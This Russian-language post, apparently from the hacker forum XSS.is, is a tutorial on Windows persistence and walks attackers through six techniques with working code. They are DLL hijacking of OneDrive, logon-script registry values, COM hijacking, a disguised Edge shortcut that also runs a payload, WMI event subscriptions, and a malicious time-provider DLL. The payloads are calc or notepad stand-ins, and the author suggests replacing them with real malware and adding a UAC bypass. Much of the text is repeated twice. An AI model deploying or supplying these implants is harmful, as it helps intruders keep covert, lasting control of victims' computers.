D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
В этой статье будут рассмотрены различные методы обеспечения устойчивости, используемые APT-группировками и авторами вредоносного ПО.
Персистентность относится к техникам и механизмам, которые позволяют злоумышленникам поддерживать долгосрочный доступ к скомпрометированной системе даже после того, как первоначальная точка входа обнаружена и устранена. Она превращает моментальное нарушение системы в длительное присутствие внутри целевой среды. Без установленных механизмов персистентности доступ злоумышленника обычно прерывался бы рутинными системными событиями, такими как перезагрузка, смена паролей или установка обновлений. Однако с помощью техник персистентности злоумышленники могут автоматически восстанавливать доступ, несмотря на стандартные меры безопасности. Внедрение персистентности означает критический переход от начального взлома к установленной компрометации. Это позволяет злоумышленникам проводить длительные кампании, включая эксфильтрацию данных, латеральное перемещение по сети или поддержание возможностей командования и управления в течение длительных периодов.
Тестовая версия ОS: Windows 11 Pro build 26100.2605
Давайте напишем простую DLL-библиотеку для тестирования, которая при запуске будет отображать на экране небольшие окна.
Спойлер: hack.go
C-подобный: Скопировать в буфер обмена
Мы компилируем код Golang как DLL.
Спойлер: main.rs
C++: Скопировать в буфер обмена
Спойлер: hack.c
C: Скопировать в буфер обмена
Некоторые из этих стратегий требуют прав администратора, поэтому вам может потребоваться объединить их с обходом UAC и выбрать механизм, который соответствует вашим конкретным потребностям.
Сначала давайте обсудим, как динамические библиотеки загружаются в процесс. Когда запускается новый процесс, системный загрузчик загружает главный модуль приложения, а также библиотеку NTDLL в адресное пространство. Затем он проверяет, нужны ли программе какие-либо дополнительные библиотеки. Если да, они также будут загружены - вот так это работает в основном. Теперь вы можете задаться вопросом, откуда загрузчик знает, где искать эти DLL, верно? В Windows существует определенный порядок поиска DLL. И когда требуется конкретная библиотека, система будет последовательно просматривать все места, пока не найдет нужный модуль и не загрузит его в запрашивающий процесс. Операционная система Windows загружает DLL в следующем порядке:
Хорошо, теперь нам нужно найти некоторые потенциальные пути, где мы можем применить эту технику, так что давайте посмотрим, как мы можем их найти.
Откройте Process Monitor (Procmon), и вы увидите что-то вроде этого:
Но не переживайте, если вы не понимаете интерфейс, он простой. Вы видите имя процесса (например, ctfmon.exe), идентификатор процесса (например, 4316), операцию (например, RegOpenKey), путь операции (например, HKLM), результат, который нас интересует (например, SUCCESS, NAME NOT FOUND и т. д.), а также некоторые другие детали операции.
Теперь нажмите на «Фильтр» и установите эти настройки
В нашем случае мы сделаем это с помощью FileSyncClient.dll, так как OneDrive.exe пытается вызвать этот файл, и наш вредоносный код будет выполняться каждый раз при входе пользователя в систему. Поэтому, если мы поместим наш DLL в путь C:\Users%USERNAME%\AppData\Local\Microsoft\OneDrive\24.226.1110.0004(версия), это должно сработать и быть выполнено.
Когда пользователь входит в систему, запускается процесс под названием "userinit". Этот процесс выполняет несколько задач для пользователя, включая выполнение локальных сценариев входа в систему. Эта функциональность может быть использована для установления персистентности в системе.
Чтобы настроить персистентность с помощью сценариев входа в систему, необходимо изменить значение ключа реестра. Откройте Редактор реестра и перейдите к HKEY_CURRENT_USER\Environment. Здесь вы можете добавить новую запись с именем "UserinitMprLogonScript". Эта запись укажет процессу "userinit" запускать определенный сценарий во время процесса входа в систему.
Rust:
Код: Скопировать в буфер обмена
Golang:
C-подобный: Скопировать в буфер обмена
Сценарий входа в систему может включать любые команды, которые вы хотите выполнить во время входа. В нашем примере я выбрал запуск calc.exe. К примеру, можно запустить вредоносную программу или загрузить полезную нагрузку. Чтобы проверить механизм сохранения, выйдите из системы и войдите снова. Если сценарий входа выполняется правильно, должно произойти ожидаемое действие. Чтобы удалить механизм сохранения, просто удалите запись "UserinitMprLogonScript" из реестра. Этот метод показывает, как злоумышленники могут использовать процесс "userinit" для закрепления в системе путем изменения сценариев входа, позволяя выполнять произвольные команды во время процесса входа в систему.
Component Object Model, или COM, это платформенно-независимая, распределенная, объектно-ориентированная система для создания двоичного программного обеспечения, компоненты которого могут взаимодействовать друг с другом. В большинстве случаев COM-объекты реализуются как DLL. COM-объекты идентифицируются уникальными GUID. Когда приложению требуется COM-объект, оно обращается к нему по его GUID.
Рассмотрим, как приложение загружает COM-объект. Приложение использует функциональность, реализованную через COM, поэтому оно вызывает либо CoCreateInstance, либо CoGetClassObject с определённым GUID. Эти функции реализованы в библиотеке OLE32.dll. OLE32 затем передает этот запрос локальному Диспетчеру управления службами (SCM). SCM опрашивает локальный реестр, в частности раздел HKEY_CLASSES_ROOT, который объединяет информацию из раздела текущего пользователя и раздела локальной машины.
Сначала SCM проверяет, существует ли определенный COM-объект с данным GUID в разделе текущего пользователя (Software\Classes). Если не найден, он проверяет раздел локальной машины (Software\Classes). При обнаружении SCM получает путь к DLL и загружает её в приложение. Теперь приложение может вызывать функции из этой DLL. Это известно как внутрипроцессная загрузка COM. Внутрипроцессная загрузка COM может быть перехвачена путем изменения информации в разделе текущего пользователя, который доступен для редактирования обычным пользователям. Это позволяет загрузить в приложение вредоносную DLL вместо оригинальной.
COM-объекты также могут быть реализованы как обычные EXE-файлы. Это называется загрузкой локального сервера. Процессы те же, что и в предыдущем случае.
COM-объекты могут находиться на удаленной машине. В этом случае локальный SCM связывается с SCM удаленной машины, запрашивая конкретный COM-сервер. Удаленный SCM находит COM-сервер (EXE или DLL), создает для него процесс, и локальное приложение получает доступ к удаленному COM-объекту через RPC. Это известно как загрузка удаленного сервера.
Чтобы найти COM-объект, который можно перехватить, необходимо обнаружить процесс, который запускается либо во время загрузки системы, либо при входе пользователя в систему. Подходящие кандидаты часто можно найти в планировщике задач Windows. Для получения списка всех доступных ClassID (CLSID), с которыми можно работать, выполните следующую команду в PowerShell.
Bash: Скопировать в буфер обмена
Обратите внимание, что у ClassId должно быть свойство <LogonTrigger>, в моем случае я использовал ClassId = {0358B920-0AC7-461F-98F4-58E32CD89148}, Которое действительно имеет свойство <LogonTrigger>
Это очень хорошо, теперь, если мы поместим ключи реестра в HKCU, мы перехватим этот COM-объект.
Теперь перезагружаем компьютер.
Вуаля! Хорошо, операция прошла успешно, но в моем случае я сломал функциональность поиска на панели задач, поэтому хороший способ это исправить — загрузить исходную DLL в процесс с помощью LoadLibrary и получить функцию COM-объекта.
Согласно Microsoft, LNK-файл служит ярлыком или "ссылкой" в Windows, предоставляя доступ к исходному файлу, папке или приложению. Для обычных пользователей эти файлы выполняют важную функцию, облегчая организацию файлов и поддержание порядка в рабочем пространстве. Однако с точки зрения злоумышленника LNK-файлы приобретают иное значение. Они могут использоваться в фишинге, для обеспечения постоянного присутствия и выполнения полезной нагрузки. Иногда креативность не обязательно должна быть сложной. Допустим, у нас есть "вредоносное ПО" - в нашем случае мы будем использовать calc.exe, затем мы просто создадим скрипт PowerShell для создания LNK-файла на рабочем столе, который имеет горячую клавишу с некоторыми свойствами.
Powershell
Bash: Скопировать в буфер обмена
Это создаёт ярлык, точно такой же, как оригинальный ярлык Microsoft Edge. Если вы щелкнете по нему, откроется браузер Microsoft Edge и калькулятор Microsoft (calc.exe).
Windows Management Instrumentation (WMI) — это технология, встроенная в Windows, которая позволяет улучшить управляемость компьютеров в сетевой среде и была введена в Windows Millennium Edition. Она следует за реализацией Microsoft модели Common Information Model (CIM) и стандартов Web-Based Enterprise Management (WBEM), предлагая стандартизированный метод моделирования данных окружающей среды. WMI предоставляет доступ к системной информации, статистике производительности и возможностям для запроса, настройки и выполнения действий в системе.
WMI имеет как скриптовые, так и программируемые интерфейсы. Microsoft опубликовала множество скриптов и инструментов на базе WMI, написанных на VBScript, на своем веб-сайте, которые демонстрируют лишь небольшую часть мощности и гибкости WMI. Однако у скриптов и утилит WMI есть недостатки: решения на основе скриптов требуют знания имен классов и свойств WMI, а также самого языка скриптов. Инструменты WMI могут быть трудными для использования и более подходят для отладки и общего исследования WMI.
WMI Eventing позволяет пользователям подписываться на системные события (например, вход в систему, активность процесса, создание файлов), что вызывает действия, такие как оповещения или создание журнала событий. Существуют два типа событий: локальный, однопроцессорный контекст, и постоянные подписки на события WMI. Последние хранятся в репозитории WMI, сохраняются при перезагрузках и выполняются с привилегиями уровня SYSTEM (NT AUTHORITY\SYSTEM), что делает их особенно полезными для скрытого мониторинга и действий.
Я буду использовать notepad.exe в качестве своего полезного груза.
Bash: Скопировать в буфер обмена
Bash: Скопировать в буфер обмена
Bash: Скопировать в буфер обмена
Проще говоря, Notepad.exe будет запускаться каждые 60 секунд, но вы можете изменить это в своем случае. Результат будет примерно таким:
Чтобы отменить и удалить эти изменения, необходимо удалить фильтр событий и потребитель событий.
Bash: Скопировать в буфер обмена
Синхронизация времени имеет решающее значение в доменах Active Directory, особенно для протоколов, таких как Kerberos, которые полагаются на надёжные источники времени. Windows использует встроенную службу W32Time для синхронизации времени, которая применяет протокол сетевого времени (NTP) для согласования часов компьютеров. Операционная система Windows поддерживает различные аппаратные устройства и сетевые протоколы времени для синхронизации через архитектуру поставщиков времени (Time Provider Architecture). Существует два типа поставщиков времени.
C: Скопировать в буфер обмена
После этого изменяем необходимые ключи реестра.
затем запускаем службу w32time, если она остановлена.
Теперь вы должны увидеть эти результаты.
Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью
для XSS.is пользователем voldemort
Персистентность относится к техникам и механизмам, которые позволяют злоумышленникам поддерживать долгосрочный доступ к скомпрометированной системе даже после того, как первоначальная точка входа обнаружена и устранена. Она превращает моментальное нарушение системы в длительное присутствие внутри целевой среды. Без установленных механизмов персистентности доступ злоумышленника обычно прерывался бы рутинными системными событиями, такими как перезагрузка, смена паролей или установка обновлений. Однако с помощью техник персистентности злоумышленники могут автоматически восстанавливать доступ, несмотря на стандартные меры безопасности. Внедрение персистентности означает критический переход от начального взлома к установленной компрометации. Это позволяет злоумышленникам проводить длительные кампании, включая эксфильтрацию данных, латеральное перемещение по сети или поддержание возможностей командования и управления в течение длительных периодов.
Тестовая версия ОS: Windows 11 Pro build 26100.2605
Давайте напишем простую DLL-библиотеку для тестирования, которая при запуске будет отображать на экране небольшие окна.
Спойлер: hack.go
C-подобный: Скопировать в буфер обмена
Код:
//go:build windows
// +build windows
package main
import (
"C"
"syscall"
"unsafe"
)
func init() {
syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(0),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("XSS.is Hack the world!"))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("XSS.is"))),
uintptr(0),
)
}
func main() {
}
GOARCH=amd64 GOOS=windows CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o hack.dll hack.go
Спойлер: main.rs
C++: Скопировать в буфер обмена
Код:
use windows::Win32::Foundation::{BOOL, HINSTANCE, HWND};
use windows::core::s;
use windows::Win32::System::SystemServices::DLL_PROCESS_ATTACH;
use windows::Win32::UI::WindowsAndMessaging::MessageBoxA;
#[no_mangle]
#[allow(non_snake_case, unused_variables)]
extern "system" fn DllMain(hinstance: HINSTANCE, reason: u32, _: *mut std::ffi::c_void) -> BOOL {
match reason {
DLL_PROCESS_ATTACH => {
unsafe {
MessageBoxA(HWND(0), s!("XSS.is Hack the world!"), s!("XSS.is"), Default::default());
}
},
_ => {}
}
true.into()
}
cargo build --target x86_64-pc-windows-gnu --release
Спойлер: hack.c
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"XSS.is Hack the world!",
"XSS.is",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
gcc -shared -o hack.dll hack.c -fpermissive
Некоторые из этих стратегий требуют прав администратора, поэтому вам может потребоваться объединить их с обходом UAC и выбрать механизм, который соответствует вашим конкретным потребностям.
1- DLL Hijacking
Название | Необходимые привилегии | Используется |
---|---|---|
DLL Hijacking | Обычный пользователь/Средняя целостность (Medium) | Stuxnet, FinFisher |
- Проверяет, находится ли модуль уже в адресном пространстве процесса. (DLL уже существует в памяти)
- Проверяет известные DLL, просматривая список значений в разделе реестра (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs).
- Проверяет папку приложения (App).
- Проверяет системные папки, такие как Windows system32 для 64-битных процессов и SysWOW64 для 32-битных приложений.
- Проверяет системные папки Windows и папки Windows.
- И наконец, проверяет текущий каталог и все папки из переменной среды path (%PATH%).
Хорошо, теперь нам нужно найти некоторые потенциальные пути, где мы можем применить эту технику, так что давайте посмотрим, как мы можем их найти.
Откройте Process Monitor (Procmon), и вы увидите что-то вроде этого:
Но не переживайте, если вы не понимаете интерфейс, он простой. Вы видите имя процесса (например, ctfmon.exe), идентификатор процесса (например, 4316), операцию (например, RegOpenKey), путь операции (например, HKLM), результат, который нас интересует (например, SUCCESS, NAME NOT FOUND и т. д.), а также некоторые другие детали операции.
Теперь нажмите на «Фильтр» и установите эти настройки
В нашем случае мы сделаем это с помощью FileSyncClient.dll, так как OneDrive.exe пытается вызвать этот файл, и наш вредоносный код будет выполняться каждый раз при входе пользователя в систему. Поэтому, если мы поместим наш DLL в путь C:\Users%USERNAME%\AppData\Local\Microsoft\OneDrive\24.226.1110.0004(версия), это должно сработать и быть выполнено.
2- Logon Script
Название | Необходимые привилегии | Используется |
---|---|---|
Logon Script | Обычный пользователь/Средняя целостность (Medium) | APT28, Cobalt Group, Zebrocy |
Чтобы настроить персистентность с помощью сценариев входа в систему, необходимо изменить значение ключа реестра. Откройте Редактор реестра и перейдите к HKEY_CURRENT_USER\Environment. Здесь вы можете добавить новую запись с именем "UserinitMprLogonScript". Эта запись укажет процессу "userinit" запускать определенный сценарий во время процесса входа в систему.
Rust:
Код: Скопировать в буфер обмена
Код:
use winreg::enums::HKEY_CURRENT_USER;
use winreg::RegKey;
use winreg::enums::KEY_ALL_ACCESS;
fn main() {
let hklm = RegKey::predef(HKEY_CURRENT_USER);
let key = match hklm.open_subkey_with_flags("Environment", KEY_ALL_ACCESS) {
Ok(key) => key,
Err(_) => {
println!("Error: Could not open the key");
return;
}
};
let _res = match key.set_value("UserInitMprLogonScript", &"C:\\Windows\\System32\\cmd.exe /c calc.exe") {
Ok(_res) => {
println!("Value set successfully");
}
Err(_) => {
println!("Error: Could not set the value");
return;
}
};
}
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"fmt"
"golang.org/x/sys/windows/registry"
)
func main() {
k, err := registry.OpenKey(registry.CURRENT_USER, `Environment`, registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil {
fmt.Println("Error: ", err)
return
}
defer k.Close()
err = k.SetStringValue("UserInitMprLogonScript", `C:\Windows\System32\cmd.exe /c "calc"`)
if err != nil {
fmt.Println("Error: ", err)
return
}
fmt.Println("UserInitMprLogonScript key created successfully")
}
Сценарий входа в систему может включать любые команды, которые вы хотите выполнить во время входа. В нашем примере я выбрал запуск calc.exe. К примеру, можно запустить вредоносную программу или загрузить полезную нагрузку. Чтобы проверить механизм сохранения, выйдите из системы и войдите снова. Если сценарий входа выполняется правильно, должно произойти ожидаемое действие. Чтобы удалить механизм сохранения, просто удалите запись "UserinitMprLogonScript" из реестра. Этот метод показывает, как злоумышленники могут использовать процесс "userinit" для закрепления в системе путем изменения сценариев входа, позволяя выполнять произвольные команды во время процесса входа в систему.
3- COM object hijack
Название | Необходимые привилегии | Используется |
---|---|---|
COM Hijacking | Обычный пользователь/Средняя целостность (Medium) | APT28, Mosquito, ComRat |
Рассмотрим, как приложение загружает COM-объект. Приложение использует функциональность, реализованную через COM, поэтому оно вызывает либо CoCreateInstance, либо CoGetClassObject с определённым GUID. Эти функции реализованы в библиотеке OLE32.dll. OLE32 затем передает этот запрос локальному Диспетчеру управления службами (SCM). SCM опрашивает локальный реестр, в частности раздел HKEY_CLASSES_ROOT, который объединяет информацию из раздела текущего пользователя и раздела локальной машины.
Сначала SCM проверяет, существует ли определенный COM-объект с данным GUID в разделе текущего пользователя (Software\Classes). Если не найден, он проверяет раздел локальной машины (Software\Classes). При обнаружении SCM получает путь к DLL и загружает её в приложение. Теперь приложение может вызывать функции из этой DLL. Это известно как внутрипроцессная загрузка COM. Внутрипроцессная загрузка COM может быть перехвачена путем изменения информации в разделе текущего пользователя, который доступен для редактирования обычным пользователям. Это позволяет загрузить в приложение вредоносную DLL вместо оригинальной.
COM-объекты также могут быть реализованы как обычные EXE-файлы. Это называется загрузкой локального сервера. Процессы те же, что и в предыдущем случае.
COM-объекты могут находиться на удаленной машине. В этом случае локальный SCM связывается с SCM удаленной машины, запрашивая конкретный COM-сервер. Удаленный SCM находит COM-сервер (EXE или DLL), создает для него процесс, и локальное приложение получает доступ к удаленному COM-объекту через RPC. Это известно как загрузка удаленного сервера.
Чтобы найти COM-объект, который можно перехватить, необходимо обнаружить процесс, который запускается либо во время загрузки системы, либо при входе пользователя в систему. Подходящие кандидаты часто можно найти в планировщике задач Windows. Для получения списка всех доступных ClassID (CLSID), с которыми можно работать, выполните следующую команду в PowerShell.
Bash: Скопировать в буфер обмена
schtasks /query /xml | Select-String -Pattern "<ClassId>{.*}</ClassId>" -AllMatches | ForEach-Object { $_.Matches.Value } | Sort-Object -Unique
Обратите внимание, что у ClassId должно быть свойство <LogonTrigger>, в моем случае я использовал ClassId = {0358B920-0AC7-461F-98F4-58E32CD89148}, Которое действительно имеет свойство <LogonTrigger>
Это очень хорошо, теперь, если мы поместим ключи реестра в HKCU, мы перехватим этот COM-объект.
Теперь перезагружаем компьютер.
Вуаля! Хорошо, операция прошла успешно, но в моем случае я сломал функциональность поиска на панели задач, поэтому хороший способ это исправить — загрузить исходную DLL в процесс с помощью LoadLibrary и получить функцию COM-объекта.
4- Shortcuts
Название | Необходимые привилегии | Используется |
---|---|---|
Shortcuts | Обычный пользователь/Средняя целостность (Medium) | APT28, Emotet, APT29 |
Powershell
Bash: Скопировать в буфер обмена
Код:
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\Microsoft Edge.lnk")
$shortcut.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,0"
$shortcut.TargetPath = "cmd.exe"
$shortcut.Arguments = "/c start msedge.exe & cmd.exe /c calc.exe"
$shortcut.HotKey = "CTRL+C"
$shortcut.Description = "Browse the web"
$shortcut.WindowStyle = 7
$shortcut.Save()
Это создаёт ярлык, точно такой же, как оригинальный ярлык Microsoft Edge. Если вы щелкнете по нему, откроется браузер Microsoft Edge и калькулятор Microsoft (calc.exe).
5- WMI Event
Обратите внимание, что WMI по умолчанию не существует в Windows 11 - он доступен как компонент по запросу (FoD), который нужно установить, следуя этому руководству.Название | Необходимые привилегии | Используется |
---|---|---|
WMI Event Subscription | Administrator/Высокая целостность (High) | APT29,SeaDuke,Stuxnet |
WMI имеет как скриптовые, так и программируемые интерфейсы. Microsoft опубликовала множество скриптов и инструментов на базе WMI, написанных на VBScript, на своем веб-сайте, которые демонстрируют лишь небольшую часть мощности и гибкости WMI. Однако у скриптов и утилит WMI есть недостатки: решения на основе скриптов требуют знания имен классов и свойств WMI, а также самого языка скриптов. Инструменты WMI могут быть трудными для использования и более подходят для отладки и общего исследования WMI.
WMI Eventing позволяет пользователям подписываться на системные события (например, вход в систему, активность процесса, создание файлов), что вызывает действия, такие как оповещения или создание журнала событий. Существуют два типа событий: локальный, однопроцессорный контекст, и постоянные подписки на события WMI. Последние хранятся в репозитории WMI, сохраняются при перезагрузках и выполняются с привилегиями уровня SYSTEM (NT AUTHORITY\SYSTEM), что делает их особенно полезными для скрытого мониторинга и действий.
Я буду использовать notepad.exe в качестве своего полезного груза.
Bash: Скопировать в буфер обмена
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="XSS_Test", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
Bash: Скопировать в буфер обмена
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="XSS_Test", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
Bash: Скопировать в буфер обмена
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"XSS_Test\"", Consumer="CommandLineEventConsumer.Name=\"XSS_Test\""
Проще говоря, Notepad.exe будет запускаться каждые 60 секунд, но вы можете изменить это в своем случае. Результат будет примерно таким:
Чтобы отменить и удалить эти изменения, необходимо удалить фильтр событий и потребитель событий.
Bash: Скопировать в буфер обмена
Код:
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="XSS_Test" DELETE
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="XSS_Test" DELETE
6- Time Providers
Название | Необходимые привилегии | Используется |
---|---|---|
Time Providers | Administrator/Высокая целостность (High) | Неизвестный |
- Поставщики входного времени (Input Time Providers): извлекают точные временные метки из оборудования или из сети.
- Выходные поставщики времени (Output Time Providers): предоставляют временные метки другим клиентам в сети.
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include "timeprov.h"
TimeProvSysCallbacks sc;
const TimeProvHandle htp = (TimeProvHandle)1;
TpcGetSamplesArgs Samples;
DWORD dwPollInterval;
void RunPayload(void) {
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
// execute notepad.exe
CreateProcess("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
return;
}
HRESULT CALLBACK TimeProvOpen(WCHAR *wszName, TimeProvSysCallbacks *pSysCallback, TimeProvHandle *phTimeProv) {
CreateThread(0, 0, (LPTHREAD_START_ROUTINE) RunPayload, 0, 0, 0);
CopyMemory(&sc, (PVOID)pSysCallback, sizeof(TimeProvSysCallbacks));
*phTimeProv = htp;
return S_OK;
}
HRESULT CALLBACK TimeProvCommand(TimeProvHandle hTimeProv, TimeProvCmd eCmd, PVOID pvArgs) {
switch( eCmd ) {
case TPC_GetSamples:
// Return the Samples structure in pvArgs.
CopyMemory(pvArgs, &Samples, sizeof(TpcGetSamplesArgs));
break;
case TPC_PollIntervalChanged:
// Retrieve the new value.
sc.pfnGetTimeSysInfo( TSI_PollInterval, &dwPollInterval );
break;
case TPC_TimeJumped:
// Discard samples saved in the Samples structure.
ZeroMemory(&Samples, sizeof(TpcGetSamplesArgs));
break;
case TPC_UpdateConfig:
// Read the configuration sirmation from the registry.
break;
}
return S_OK;
}
HRESULT CALLBACK TimeProvClose(TimeProvHandle hTimeProv) {
return S_OK;
}
После этого изменяем необходимые ключи реестра.
затем запускаем службу w32time, если она остановлена.
Теперь вы должны увидеть эти результаты.
Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью
